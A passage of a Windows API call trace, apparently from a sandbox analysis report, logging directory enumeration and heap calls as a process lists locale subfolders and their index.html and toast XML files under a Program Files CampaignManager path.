cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.254] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.254] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.254] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0238.255] GetProcessHeap () returned 0xc10000 [0238.255] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.255] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1 [0238.255] GetProcessHeap () returned 0xc10000 [0238.255] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0238.259] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.259] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.259] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.259] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.259] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.259] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.259] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0238.261] GetProcessHeap () returned 0xc10000 [0238.261] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.261] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1 [0238.261] GetProcessHeap () returned 0xc10000 [0238.261] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.261] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0238.264] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.265] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.265] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.265] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.265] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.356] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.356] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0238.357] GetProcessHeap () returned 0xc10000 [0238.357] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.357] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1 [0238.357] GetProcessHeap () returned 0xc10000 [0238.357] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0238.360] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.360] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.360] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.360] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.360] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.360] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.360] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0238.361] GetProcessHeap () returned 0xc10000 [0238.361] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.361] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1 [0238.361] GetProcessHeap () returned 0xc10000 [0238.361] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0238.364] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.364] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.364] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.364] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.364] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.365] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.365] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0238.366] GetProcessHeap () returned 0xc10000 [0238.366] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.366] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0238.366] GetProcessHeap () returned 0xc10000 [0238.366] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0238.368] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.368] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.368] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.369] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.369] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.369] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, 